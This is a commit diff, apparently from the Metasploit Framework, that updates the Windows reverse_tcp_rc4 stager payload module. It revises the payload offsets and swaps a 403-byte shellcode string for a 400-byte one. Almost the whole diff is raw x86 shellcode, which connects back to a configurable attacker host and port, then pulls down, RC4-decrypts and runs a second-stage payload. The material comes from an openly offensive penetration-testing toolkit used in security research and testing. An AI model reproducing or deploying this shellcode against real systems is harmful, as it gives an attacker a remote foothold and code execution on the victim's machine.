Apply blockapi changes to reverse_tcp_rc4

Author: egypt

modules/payloads/stagers/windows/reverse_tcp_rc4.rb

@@ -33,40 +33,48 @@ def initialize(info = {})
           'RequiresMidstager' => false,
           'Offsets' =>
             {
-              'LHOST' => [ 197, 'ADDR' ],
-              'LPORT' => [ 204, 'n' ],
-              'ReverseConnectRetries' => [ 195, 'C'],
-              'XORKey' => [ 252, '' ],
-              'RC4Key' => [ 316, '' ],
+              'LHOST' => [ 194, 'ADDR' ],
+              'LPORT' => [ 201, 'n' ],
+              'ReverseConnectRetries' => [ 192, 'C'],
+              'XORKey' => [ 249, '' ],
+              'RC4Key' => [ 313, '' ],
             },
           'Payload' =>
-            # Length: 403 bytes
-            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+
+            # Name: stager_reverse_tcp_rc4
+            # Length: 400 bytes
+            # Port Offset: 201
+            # Host Offset: 194
+            # RetryCounter Offset: 192
+            # ExitFunk Offset: 226
+            # RC4Key Offset: 313
+            # XORKey Offset: 249
+            "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
             "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
             "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
-            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
-            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
-            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
-            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
-            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
-            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
-            "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
-            "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
-            "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
-            "\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6" +
-            "\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF" +
-            "\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56" +
-            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B" +
-            "\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53" +
-            "\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53" +
-            "\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC" +
-            "\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B" +
-            "\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA" +
-            "\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89" +
-            "\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07" +
-            "\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14" +
-            "\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75" +
-            "\xE5\x5F\xC3"
+            "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
+            "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
+            "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
+            "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
+            "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
+            "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
+            "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
+            "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
+            "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
+            "\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
+            "\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
+            "\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
+            "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" +
+            "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" +
+            "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" +
+            "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" +
+            "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" +
+            "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" +
+            "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" +
+            "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" +
+            "\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14" +
+            "\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3"
+
         }
       ))